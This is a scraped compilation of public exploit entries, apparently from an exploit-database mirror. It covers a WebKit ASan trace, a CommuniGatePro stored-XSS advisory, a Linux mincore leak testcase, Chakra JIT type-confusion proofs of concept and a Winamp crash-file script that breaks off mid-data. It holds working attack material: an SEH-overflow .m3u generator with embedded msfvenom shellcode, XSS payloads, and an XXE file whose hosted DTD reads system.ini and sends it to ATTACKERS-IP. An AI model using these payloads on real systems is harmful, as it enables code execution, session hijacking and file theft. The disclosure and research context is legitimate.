    #12 0x1179a5f57 in WebCore::SubframeLoader::requestFrame(WebCore::HTMLFrameOwnerElement&, WTF::String const&, WTF::AtomicString const&, WebCore::LockHistory, WebCore::LockBackForwardList) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2d56f57)
    #13 0x1159cb45e in WebCore::HTMLFrameElementBase::openURL(WebCore::LockHistory, WebCore::LockBackForwardList) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd7c45e)
    #14 0x11501be08 in WebCore::ContainerNode::notifyChildInserted(WebCore::Node&, WebCore::ContainerNode::ChildChange const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3cce08)
    #15 0x11501a396 in WebCore::ContainerNode::parserAppendChild(WebCore::Node&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3cb396)
    #16 0x115961cdc in WebCore::executeInsertTask(WebCore::HTMLConstructionSiteTask&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd12cdc)
    #17 0x11595aea7 in WebCore::HTMLConstructionSite::executeQueuedTasks() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd0bea7)
    #18 0x11598ac8a in WebCore::HTMLDocumentParser::constructTreeFromHTMLToken(WebCore::HTMLTokenizer::TokenPtr&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd3bc8a)
    #19 0x11598a849 in WebCore::HTMLDocumentParser::pumpTokenizerLoop(WebCore::HTMLDocumentParser::SynchronousMode, bool, WebCore::PumpSession&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd3b849)
    #20 0x1159899c2 in WebCore::HTMLDocumentParser::pumpTokenizer(WebCore::HTMLDocumentParser::SynchronousMode) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd3a9c2)
    #21 0x11598b4e8 in WebCore::HTMLDocumentParser::append(WTF::RefPtr<WTF::StringImpl>&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd3c4e8)
    #22 0x115369531 in WebCore::DecodedDataDocumentParser::flush(WebCore::DocumentWriter&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x71a531)
    #23 0x1154a663d in WebCore::DocumentWriter::end() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x85763d)
    #24 0x115467736 in WebCore::DocumentLoader::finishedLoading() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x818736)
    #25 0x114ee3047 in WebCore::CachedResource::checkNotify() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x294047)
    #26 0x114edbdf1 in WebCore::CachedRawResource::finishLoading(WebCore::SharedBuffer*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x28cdf1)
    #27 0x1179b3661 in WebCore::SubresourceLoader::didFinishLoading(WebCore::NetworkLoadMetrics const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2d64661)
    #28 0x110c5d43b in WebKit::WebResourceLoader::didFinishResourceLoad(WebCore::NetworkLoadMetrics const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xb1343b)
    #29 0x110c606d9 in void IPC::handleMessage<Messages::WebResourceLoader::DidFinishResourceLoad, WebKit::WebResourceLoader, void (WebKit::WebResourceLoader::*)(WebCore::NetworkLoadMetrics const&)>(IPC::Decoder&, WebKit::WebResourceLoader*, void (WebKit::WebResourceLoader::*)(WebCore::NetworkLoadMetrics const&)) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xb166d9)

SUMMARY: AddressSanitizer: heap-use-after-free (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x45a56) in WTF::UniqueRef<WebCore::FrameLoader>::get()
Shadow bytes around the buggy address:
  0x1c22000110e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x1c22000110f0: 00 00 00 fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x1c2200011100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x1c2200011110: 00 00 00 00 00 00 00 00 00 00 00 00 fa fa fa fa
  0x1c2200011120: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
=>0x1c2200011130: fd fd fd fd fd fd fd fd fd[fd]fd fd fd fd fd fd
  0x1c2200011140: fd fd fd fd fd fd fa fa fa fa fa fa fa fa fa fa
  0x1c2200011150: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x1c2200011160: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x1c2200011170: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
  0x1c2200011180: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==689==ABORTING
-->
HireHackking 
# Exploit Title: CommuniGatePro webmails Multiple Stored XSS 
# Date: 15/11/2017
# Exploit Author: Boumediene KADDOUR 
# Unit: Algerie Telecom R&D Unit
# Vendor Homepage: https://www.stalker.com/
# Software Link: http://www.stalker.com/ (paid product)
# Version: 6.1.16< 
# Tested on: production server on crystal, pronto and pronto4 webmails from gmail and hotmail.

CommuniGatePro 6.1.16 webmails (crystal, pronto and pronto4) suffer from multiple stored XSS vulnerabilities. The bellow details illustrate the impact of this vulnerability.

Vulnerability Description:

XSS flaws occur whenever an application includes untrusted data in a new web page without proper validation or escaping, or updates an existing web page with user supplied data using a browser API that can create JavaScript. XSS allows attackers to execute scripts in the victim’s browser which can hijack user sessions, deface web sites, or redirect the user to malicious sites.

Vulnerability details (Stored XSS):

This vulnerability allowed us to gain access to the following:

    Control the victim's mailbox by just reading my email

    Control the victim's computer in case the person uses Internet Explorer 8 which is widely used in our company.

    Send emails on behalf the victim

    Deface the whole victim mailbox

    Invoke the malicious piece of code each time an attachment's sent to the victim.

Vulnerable sections:

    Calendar

    Files

    Tasks

    Notes

    Inbox


Attack Narratives and Scenarios:

1. Calendar:

Source webmail: tested with gmail and hotmail

Destination webmail: Crystal

In order to deliver our PoC, we have taken the advantages of google calendar to achieve our goal.


PoC:

POST /calendar/event HTTP/1.1

Host: calendar.google.com

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0

Accept: */*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: https://calendar.google.com/calendar/render?tab=mc

X-If-No-Redirect: 1

X-Is-Xhr-Request: 1

Content-Type: application/x-www-form-urlencoded;charset=utf-8

Content-Length: 634

Cookie: Mycookie

Connection: close

sf=true&output=js&action=CREATE&useproto=true&add=boumediene.k%40victim.dz%2Csnbemail%40gmail.com&crm=BUSY&icc=DEFAULT&sprop=goo.allowModify%3Afalse&sprop=goo.allowInvitesOther%3Atrue&sprop=goo.showInvitees%3Atrue&pprop=eventColor%3Anone&eid=762dgnlok9l44rd63im4kisjnd&eref=762dgnlok9l33rd55im4kisjnd&cts=1511425384353&text=%22%3E%3Cimg%20src%3DX%20onerror%3Dalert(document.cookie)%3E&location=Stored%20XSS&details=Stored%20XSS&src=snbemail%40gmail.com&dates=20171123T093000%2F20171123T103000&unbounded=false&gdoc-attachment&scfdata=W1tdXQ..&stz&etz&scp=ONE&nopts=2&nopts=3&nopts=4&hl=en_GB&secid=6VLs1BGsgBB_Tqz6egnXpCYYF24


Once the victim receives the invitation, he/she will not be obliged to click on any link or download any file. The only condition for this PoC to work is a single click to read the email. Once the victim reads the email, the code gets executed on the victim's browser ending up sending sensitive data to the adversary.

2. Files:

Source webmail: pronto/pronto4/Crystal

Destination webmail: Crystal

In order to leverage this vulnerability, a victim must first acquire a local mailbox. What he/she will do is the following:

    Go to file section.

    Create a directory

    Name the directory with any JavaScript code, in our case  (<img src=X onerror=alert(document.cookie)>)

    Share or grant access to victim to be able to at least read the content of the directory

    The victim then recieves the email of granting access to that directory

    The vitim reads the email and then accesses the directory ending up executing the code within its scope of work

3. Notes:

Source webmail: Crystal

Destination webmail: Crystal

In order to leverage this vulnerability, a victim must first acquire a local mailbox. What he/she will do is the following:

    Create a note

    Put the JavaScript code within it

    Share it with the victim

4. Tasks:

Source webmail: pronto/pronto4

Destination webmail: Crystal

In order to leverage this vulnerability, a victim must first acquire a local mailbox. What he/she will do is the following:

    Create a task

    Put the JavaScript code within the task name

    publish it

5. Inbox

Source webmail: pronto/pronto4

Destination webmail: Crystal

In order to leverage this vulnerability, a victim must first acquire a local mailbox. What he/she will do is the following:

    Create an html file with malicious JavaScript piece of code

    Make use of Pronto to send the email to the victim

    The victim reads the email using Crystal webmail and the code gets executed.

Remediation:

Sanitize, escape and validate user supplied data accordingly

Vulnerability Disclosure Timeline:
==================================
23 Nov, 17 5:36:09 PM: Vendor Notification
23 Nov, 17 6:56:33 PM: Vendor Response/Feedback
24 Nov, 17 : Vendor released new  patched version 6.2.1 and included fixes on version 6.1.19 as a separate Crystal skin package (to be installed as cluster/server-wide custom skin)
HireHackking 
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1431

I found the following bug with an AFL-based fuzzer:

When __walk_page_range() is used on a VM_HUGETLB VMA, callbacks from the mm_walk structure are only invoked for present pages. However, do_mincore() assumes that it will always get callbacks for all pages in the range passed to walk_page_range(), and when this assumption is violated, sys_mincore() copies uninitialized memory from the page allocator to userspace.

This bug can be reproduced with the following testcase:

$ cat mincore_test.c
*/

#define _GNU_SOURCE
#include <unistd.h>
#include <sys/mman.h>
#include <err.h>
#include <stdio.h>

unsigned char mcbuf[0x1000];

int main(void) {
  if (mmap((void*)0x66000000, 0x20000000000, PROT_NONE, MAP_SHARED | MAP_ANONYMOUS | MAP_HUGETLB | MAP_NORESERVE, -1, 0) == MAP_FAILED)
    err(1, "mmap");

  for (int i=0; i<10000; i++) {
    if (mincore((void*)0x86000000, 0x1000000, mcbuf))
      perror("mincore");
    write(1, mcbuf, 0x1000);
  }
}

/*
$ gcc -o mincore_test mincore_test.c -Wall
$ ./mincore_test | hexdump -C | head
00000000  00 00 00 00 00 00 00 00  00 00 00 00 fe 01 00 00  |................|
00000010  80 49 3d 20 c6 e9 ff ff  c0 49 3d 20 c6 e9 ff ff  |.I= .....I= ....|
00000020  00 08 3c 20 c6 e9 ff ff  40 08 3c 20 c6 e9 ff ff  |..< ....@.< ....|
00000030  80 08 3c 20 c6 e9 ff ff  c0 08 3c 20 c6 e9 ff ff  |..< ......< ....|
00000040  00 09 3c 20 c6 e9 ff ff  40 09 3c 20 c6 e9 ff ff  |..< ....@.< ....|
00000050  80 09 3c 20 c6 e9 ff ff  c0 09 3c 20 c6 e9 ff ff  |..< ......< ....|
00000060  00 06 3c 20 c6 e9 ff ff  40 06 3c 20 c6 e9 ff ff  |..< ....@.< ....|
00000070  80 06 3c 20 c6 e9 ff ff  c0 06 3c 20 c6 e9 ff ff  |..< ......< ....|
00000080  00 07 3c 20 c6 e9 ff ff  40 07 3c 20 c6 e9 ff ff  |..< ....@.< ....|
00000090  80 07 3c 20 c6 e9 ff ff  80 78 84 0b c6 e9 ff ff  |..< .....x......|

fixed at https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=373c4557d2aa362702c4c2d41288fb1e54990b7c

The fix has landed in the following upstream stable releases:
https://cdn.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.14.2
https://cdn.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.13.16
https://cdn.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.9.65
https://cdn.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.4.101

*/
HireHackking 
#!/usr/bin/python
# Tested on: Windows 10 Professional (x86)
# Exploit for previous version: https://www.exploit-db.com/exploits/42455/ (Seems they haven't patched the vulnerability at all :D)

# msfvenom -p windows/exec CMD="calc.exe" -e x86/unicode_mixed BufferRegister=EAX -f python
shellcode =  ""
shellcode += "\x50\x50\x59\x41\x49\x41\x49\x41\x49\x41\x49\x41\x49"
shellcode += "\x41\x49\x41\x49\x41\x49\x41\x49\x41\x49\x41\x49\x41"
shellcode += "\x49\x41\x49\x41\x49\x41\x6a\x58\x41\x51\x41\x44\x41"
shellcode += "\x5a\x41\x42\x41\x52\x41\x4c\x41\x59\x41\x49\x41\x51"
shellcode += "\x41\x49\x41\x51\x41\x49\x41\x68\x41\x41\x41\x5a\x31"
shellcode += "\x41\x49\x41\x49\x41\x4a\x31\x31\x41\x49\x41\x49\x41"
shellcode += "\x42\x41\x42\x41\x42\x51\x49\x31\x41\x49\x51\x49\x41"
shellcode += "\x49\x51\x49\x31\x31\x31\x41\x49\x41\x4a\x51\x59\x41"
shellcode += "\x5a\x42\x41\x42\x41\x42\x41\x42\x41\x42\x6b\x4d\x41"
shellcode += "\x47\x42\x39\x75\x34\x4a\x42\x39\x6c\x5a\x48\x33\x52"
shellcode += "\x69\x70\x69\x70\x6d\x30\x31\x50\x53\x59\x79\x55\x30"
shellcode += "\x31\x75\x70\x6f\x74\x72\x6b\x42\x30\x6e\x50\x52\x6b"
shellcode += "\x4e\x72\x7a\x6c\x52\x6b\x4e\x72\x6a\x74\x44\x4b\x71"
shellcode += "\x62\x6c\x68\x7a\x6f\x34\x77\x50\x4a\x6f\x36\x30\x31"
shellcode += "\x4b\x4f\x74\x6c\x6d\x6c\x43\x31\x63\x4c\x7a\x62\x6e"
shellcode += "\x4c\x4d\x50\x47\x51\x66\x6f\x6c\x4d\x79\x71\x55\x77"
shellcode += "\x68\x62\x6a\x52\x31\x42\x31\x47\x42\x6b\x6e\x72\x6c"
shellcode += "\x50\x64\x4b\x30\x4a\x4d\x6c\x62\x6b\x6e\x6c\x4c\x51"
shellcode += "\x63\x48\x5a\x43\x6f\x58\x4b\x51\x48\x51\x72\x31\x62"
shellcode += "\x6b\x71\x49\x4d\x50\x59\x71\x46\x73\x72\x6b\x6e\x69"
shellcode += "\x7a\x78\x48\x63\x6c\x7a\x61\x39\x44\x4b\x6c\x74\x64"
shellcode += "\x4b\x4b\x51\x37\x66\x70\x31\x69\x6f\x54\x6c\x39\x31"
shellcode += "\x46\x6f\x5a\x6d\x79\x71\x58\x47\x4f\x48\x69\x50\x53"
shellcode += "\x45\x6c\x36\x6d\x33\x43\x4d\x49\x68\x6d\x6b\x61\x6d"
shellcode += "\x6c\x64\x51\x65\x58\x64\x72\x38\x72\x6b\x4f\x68\x4e"
shellcode += "\x44\x39\x71\x46\x73\x4f\x76\x52\x6b\x4c\x4c\x30\x4b"
shellcode += "\x34\x4b\x70\x58\x6d\x4c\x4d\x31\x58\x53\x64\x4b\x49"
shellcode += "\x74\x64\x4b\x6b\x51\x38\x50\x75\x39\x6e\x64\x4b\x74"
shellcode += "\x6e\x44\x31\x4b\x51\x4b\x6f\x71\x62\x39\x4f\x6a\x70"
shellcode += "\x51\x49\x6f\x47\x70\x31\x4f\x51\x4f\x31\x4a\x54\x4b"
shellcode += "\x6d\x42\x38\x6b\x34\x4d\x61\x4d\x30\x6a\x79\x71\x54"
shellcode += "\x4d\x74\x45\x77\x42\x79\x70\x4d\x30\x69\x70\x30\x50"
shellcode += "\x51\x58\x70\x31\x72\x6b\x42\x4f\x42\x67\x6b\x4f\x57"
shellcode += "\x65\x35\x6b\x68\x70\x47\x45\x34\x62\x4f\x66\x62\x48"
shellcode += "\x73\x76\x44\x55\x77\x4d\x43\x6d\x79\x6f\x6a\x35\x6d"
shellcode += "\x6c\x7a\x66\x31\x6c\x69\x7a\x73\x50\x4b\x4b\x4b\x30"
shellcode += "\x31\x65\x4a\x65\x57\x4b\x6d\x77\x4c\x53\x64\x32\x50"
shellcode += "\x6f\x71\x5a\x4b\x50\x51\x43\x6b\x4f\x49\x45\x50\x63"
shellcode += "\x31\x51\x50\x6c\x72\x43\x6e\x4e\x71\x55\x74\x38\x31"
shellcode += "\x55\x6b\x50\x41\x41"

buffer  = "http://"
buffer += "\x41" * 301
buffer += "\x61\x41"            # POPAD (NSEH)
buffer += "\x0f\x47"            # P/P/R (SEH)
buffer += "\x56\x41"            # PUSH ESI
buffer += "\x58\x41"            # POP EAX
buffer += "\x05\x07\x01\x41"    # ADD EAX, 0x1000700
buffer += "\x2d\x04\x01\x41"    # SUB EAX, 0x1000400
buffer += "\x50\x41"            # PUSH EAX
buffer += "\xc3"                # RET
buffer += "\x41" * 45
buffer += shellcode
buffer += "\x41" * (1500 - len(buffer))

f=open("player.m3u",'wb')
f.write(buffer)
f.close()
HireHackking 
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1366

Here's a snippet of Inline::Optimize.
    FOREACH_INSTR_EDITING(instr, instrNext, func->m_headInstr)
    {
        switch (instr->m_opcode)
        {
            case Js::OpCode::Label:
                {
                    ...
                    if (instr->AsLabelInstr()->m_isForInExit)
                    {
                        Assert(this->currentForInDepth != 0);  // The PoC hits this
                        this->currentForInDepth--;
                    }
                }
                break;
            case Js::OpCode::InitForInEnumerator:
                if (!func->IsLoopBody())
                {
                    this->currentForInDepth++;
                }
                break;
            case Js::OpCode::CallI:
                ...
                instrNext = builtInInlineCandidateOpCode != 0 ?
                    this->InlineBuiltInFunction(instr, inlineeData, builtInInlineCandidateOpCode, inlinerData, symThis, &isInlined, profileId, recursiveInlineDepth) :
                    this->InlineScriptFunction(instr, inlineeData, symThis, profileId, &isInlined, recursiveInlineDepth);
                ...
        }
    }


"InlineBuiltInFunction" and "InlineScriptFunction" are used to inline a JavaScript function. For example, those methods can convert a call expression as follws.

Before:
    s6.var          =  StartCall      1 (0x1).i32                             #0000 
    arg1(s7)<0>.var =  ArgOut_A       s2.var, s6.var                          #0003 
                       CallI          s3.var, arg1(s7)<0>.var                 #0006 

    s0.var          =  Ld_A           0xXXXXXXXX (undefined)[Undefined].var   #000c  <<--- NEXT INSTRUCTION

After:
    s6.var          =  StartCall      1 (0x1).i32                             #0000 
    ...
    s12.var         =  InlineeStart   s3.var, iarg1(s7)<24>.var               #0006   Func # (#1.3), #4 obj.inlinee
    s9[Object].var  =  Ld_A           0xXXXXXXXX (GlobalObject)[Object].var   #  Func # (#1.3), #4
    s8.var          =  Ld_A           0xXXXXXXXX (undefined)[Undefined].var   #0000   Func # (#1.3), #4
                       StatementBoundary  #0                                  #0002   Func # (#1.3), #4
                       StatementBoundary  #-1                                 #0002   Func # (#1.3), #4
                       InlineeEnd     4 (0x4).i32, s12.var                    #0000   Func # (#1.3), #4

                       StatementBoundary  #0                                  #000c 
    s0.var          =  Ld_A           0xXXXXXXXX (undefined)[Undefined].var   #000c  <<---- NEXT INSTRUCTION

As you can see the inlinee is wrapped in InlineeStart and InlineeEnd. So to handle the orignal next instructions in the next iterations, those methods must return the call instruction's next instruction. But there's a buggy call flow.

Here's the call flow.
Inline::InlineBuiltInFunction(...) {
    ...
    if (inlineCallOpCode ==  Js::OpCode::InlineFunctionCall)
    {
       inlineBuiltInEndInstr = InlineCall(callInstr, inlineeData, inlinerData, symCallerThis, pIsInlined, profileId, recursiveInlineDepth);
       return inlineBuiltInEndInstr->m_next;
    }
    ...
}

-> InlineCall -> InlineCallTarget -> 

Inline::InlineCallApplyTarget_Shared(...) {
    IR::Instr* instrNext = callInstr->m_next;
    return InlineFunctionCommon(callInstr, originalCallTargetOpndIsJITOpt, originalCallTargetStackSym, inlineeData, inlinee, instrNext, returnValueOpnd, callInstr, nullptr, recursiveInlineDepth, safeThis, isApplyTarget);
}

Inline::InlineFunctionCommon(...)
{
    ...
    return instrNext;
}

The point is that it ends up returning "callInstr->m_next->m_next". Therefore, "callInstr->m_next" will be never processed.

In the PoC, "InitForInEnumerator" will be skipped.

    s16[LikelyUndefined_CanBeTaggedValue].var = CallI  s6.var, arg2(s15)<8>.var #0015  << will be inlined
                       InitForInEnumerator  s16.var, s17.u64                  #001f  << Skipped


PoC:
*/

function opt(obj) {
    for (let i in obj.inlinee.call({})) {
    }

    for (let i in obj.inlinee.call({})) {
    }
}

function main() {
    let obj = {
        inlinee: function () {
        }
    };
    
    for (let i = 0; i < 10000; i++)
        opt(obj);
}

main();
HireHackking 
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1364

1.
In the Chakra's JIT compilation process, it stores variables' type information by basic block.

function opt(b) {
    let o;
    if (b) {
        // BASIC BLOCK (a)
        o = {};
    } else {
        // BASIC BLOCK (b)
        o = 1.1;
    }
    // BASIC BLOCK (c)
    return o;
}

For example, let's think the above code gets optimized. At the basic block (a), the type of "o" is always "Object". At the basic block (b), the type of "o" is always "CanBeTaggedValue_Float". At the basic block (c), it combines the two types, and marks the type of "o" as "CanBeTaggedValue_Mixed"(Object + CanBeTaggedValue_Float).

Explanation of TaggedValue in Chakra: http://abchatra.github.io/TaggedFloat/

But unlike variables, the type information of constants like numbers, strings is managed globally. This means, once a constant is marked as some type in a certain block. All blocks will treat it as that type regardless of the control flow.

2.
Chakra uses a BailOutOnTaggedValue bailout to ensure a variable's type is "Object". The bailouts can be generated when inlining JavaScript functions.

function opt(inlinee) {
    inlinee();
}

Generated IR code for the above code:
                       StatementBoundary  #0                                  #0000 
    s6.var          =  StartCall      1 (0x1).i32                             #0000 
                       BailOnNotObject  s3[LikelyCanBeTaggedValue_Object].var #0006  Bailout: #0006 (BailOutOnInlineFunction)
    s10.var         =  Ld_A           [s3[LikelyObject].var+8].u64            #0006 
                       BailOnNotEqual  [s10.var!].i32, 26 (0x1A).i32          #      Bailout: #0006 (BailOutOnInlineFunction)
                       BailOnNotEqual  [s3[LikelyObject].var+40].u64, 0xXXXXXXXX (FunctionBody [Anonymous function (#1.3), #4]).u64 # Bailout: #0006 (BailOutOnInlineFunction)

As you can see after the "BailOnNotObject" opcode which generates "BailOutOnTaggedValue" bailouts, the type of "s3" becomes "LikelyObject" from "LikelyCanBeTaggedValue_Object". This means there's no case where "s3" is not an object after the opcode which ensures its type, so it's safe to use it as an object without checks after the opcode.

But the problem is that this can be applied to constants.

Here's the PoC.
*/

function opt2(inlinee, v) {
    if (v > 0) {
        inlinee();
    } else {
        inlinee.x = 1.1;
    }
}

function opt() {
    opt2(2.3023e-320, null);
}

function main() {
    opt2(() => {}, 1);  // feed a function to the profiler

    for (let i = 0; i < 10000; i++) {
        opt();
    }
}

main();

/*
We can simply think it as follows:
(NOT PRECISE just for understanding)

Just after inlining:
    // Basic block (a)
    s2 = 2.30235E-320;  // constant
    inlinee = s2;  // variable
    if (null > 0) {
        // Basic block (b)
        BailOnNotObject(inlinee);
        inlinee();
    } else {
        // Basic block (c)
        inlinee.x = 1.1;
    }

    Type map:
        Constants:
            s2: CanBeTaggedValue_Float
        Basic block (a):
            inlinee: CanBeTaggedValue_Float
        Basic block (b):
            inlinee: CanBeTaggedValue_Float
        Basic block (c):
            inlinee: CanBeTaggedValue_Float

In the Global Optimization Phase:
    // Basic block (a)
    s2 = 2.30235E-320;
    if (null > 0) {
        // Basic block (b)
        BailOnNotObject(s2);
        s2();
    } else {
        // Basic block (c)
        s2.x = 1.1;
    }

    Type map:
        Constants:
            s2: CanBeTaggedValue_Float -> Float
        Basic block (a):
        Basic block (b):
        Basic block (c):

At the basic block (b), the BailOnNotObject opcode changes the type of "s2" to "Float". And since "s2" is a constant, that change affects the basic block (c). So it leads to type confusion at the basic block (c).

Note: Just "Float" is considered an Object type.
*/
HireHackking 
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1367

In the following JavaScript code, both of the print calls must print out "undefined" because of "x" is a formal parameter. But the second print call prints out "function x() { }". This bug may lead to type confusion in JITed code.

function f(x) {
    print(x);

    {
        function x() {

        }
    }

    print(x);
}

The following code in "PreVisitFunction" is used to decide how to optimize arguments.
    bool doStackArgsOpt = (!pnode->sxFnc.HasAnyWriteToFormals() || funcInfo->GetIsStrictMode());

"HasAnyWriteToFormals" set by "Parser::BindPidRefsInScope" returns true in the following example code where "x" is formal. But the method can't detect the above buggy case, so it may end up wrongly optimizing arguments.

function f(x) {
    x = 1;
}


PoC:
*/

function f(x) {
    arguments;

    {
        function x() {
        }
    }
}

for (let i = 0; i < 10000; i++)
    f();
HireHackking 
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1365

Some background: https://bugs.chromium.org/p/project-zero/issues/detail?id=1364

There's one more place that emits a BailOnNotObject opcode.

Here's a snippet of GlobOpt::OptTagChecks.
    if (valueType.CanBeTaggedValue() &&
        !valueType.HasBeenNumber() &&
        (this->IsLoopPrePass() || !this->currentBlock->loop))
    {
        ValueType newValueType = valueType.SetCanBeTaggedValue(false);

        // Split out the tag check as a separate instruction.
        IR::Instr *bailOutInstr;
        bailOutInstr = IR::BailOutInstr::New(Js::OpCode::BailOnNotObject, IR::BailOutOnTaggedValue, instr, instr->m_func);
        ...
    }

The JIT compiler analyzes a loop twice for some reasons such as to track types properly. In the first analysis, "IsLoopPrePass" returns true. And it returns false in the second analysis.

But in the above snippet, it emits the bailout opcode in the first analysis("this->IsLoopPrePass()" is satisfied). But the return value of "valueType.HasBeenNumber()" can be different in the second analysis. So it may fail to detect type changes.

PoC:
*/

function opt() {
    let obj = [2.3023e-320];
    for (let i = 0; i < 1; i++) {
        obj.x = 1;  // In the first analysis, BailOnNotObject emitted
        obj = +obj;  // Change the type
        obj.x = 1;  // Type confusion
    }
}

function main() {
    for (let i = 0; i < 1000; i++) {
        opt();
    }
}

main();
HireHackking 
[+] Exploit Title: Diving Log 6.0 XXE Injection
[+] Date: 27-11-2017
[+] Exploit Author: Trent Gordon
[+] Vendor Homepage: http://www.divinglog.de
[+] Software Link: http://www.divinglog.de/english/download/
[+] Disclosed at: https://thenopsled.com/divinglog.txt
[+] Version: 6.0
[+] Tested on: Windows 7 SP1, Windows 10
[+] CVE: CVE-2017-9095

==================
Background:
==================
Diving Log 6.0 is a scuba diving log software that manages and consolidates logs from other disparate sources.  Many scuba diving log software programs export their data in an XML file. 

==================
Vulnerability:
==================
By having a user import a crafted dive.xml file (very common, many divers share logs), it is possible to execute a XXE injection which retrieves local files and exfiltrates them to a remote attacker.
1.)Open Diving Log 6.0
2.)Close "Welcome Center" popup and select "Import" from the bottom left corner
3.)Select "Subsurface" from the list of import data types.
4.)"Open File" and select the crafted dive.xml file (with listener open on ATTACKERS-IP)

==================
Proof of Concept:
==================

a.) python -m SimpleHTTPServer 9999 (listening on ATTACKERS-IP and hosting payload.dtd)

b.) Hosted "payload.dtd"

<?xml version="1.0" encoding="utf-8" ?>
<!ENTITY % data SYSTEM "file:///c:/windows/system.ini">
<!ENTITY % param1 "<!ENTITY &#x25; exfil SYSTEM 'http://ATTACKERS-IP?%data;'>">


c.) Exploited "dive.xml"

<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY % sp SYSTEM "http://ATTACKERS-IP/payload.dtd">
%sp;
%param1;
%exfil;
]>
<divelog program='subsurface' version='3'>
<settings>
</settings>
<divesites>
<site uuid='33a32a07' name='hacked'>
</site>
</divesites>
<dives>
<dive number='1' divesiteid='33a32a07' date='2017-05-15' time='14:49:10' duration='46:00 min'>
  <notes></notes>
  <cylinder size='11.1 l' workpressure='207.0 bar' description='unknown' />
  <divecomputer model='manually added dive'>
  <depth max='15.0 m' mean='13.37 m' />
  <surface pressure='1.013 bar' />
  <sample time='0:00 min' depth='0.0 m' />
  <sample time='3:00 min' depth='15.0 m' />
  <sample time='40:00 min' depth='15.0 m' />
  <sample time='42:00 min' depth='5.0 m' />
  <sample time='45:00 min' depth='5.0 m' />
  <sample time='46:00 min' depth='0.0 m' />
  </divecomputer>
</dive>
</dives>
</divelog>

==================
Additional Attack Vectors:
==================
I tested and exploited the "subsurface" import option, however MANY other dive log software programs use XML and most are available as Import options in Diving Log 6.0.  This XXE injection vulnerability is most likely vulnerable in every import option that utilizes XML for the underlying custom file format(.UDCF and .UDDF, for example).
HireHackking 
#!/usr/bin/perl
# Exploit Title: Winamp Pro (.wav|.wmv|.au|.asf|.aiff|.aif ) Denial of Service
# Date: 2017-11-22
# Exploit Author: R.Yavari
# Version: v5.66.Build.3512
# Tested on: Windows 10 , Windows 7
# other version should be affected
# CVE-2017-16951
# http://meggamusic.co.uk/winamp/winamp5666_full_en-us_redux.exe
# (D.P)
open(code, ">winamp.wav") || die "can't create crash sample.$!";
binmode(code);
$data = 
"\x52\x49\x46\x46\xc2\x58\x01\x00\x57\x41\x56\x45\x44\x44\x44\x44" .
"\xf8\xff\xff\xff\x01\x00\x01\x00\x22\x56\x00\x00\x44\xac\x00\x00" .
"\x02\x00\x10\x00\x00\x00\x66\x61\x63\x74\x04\x00\x00\x00\x48\xac" .
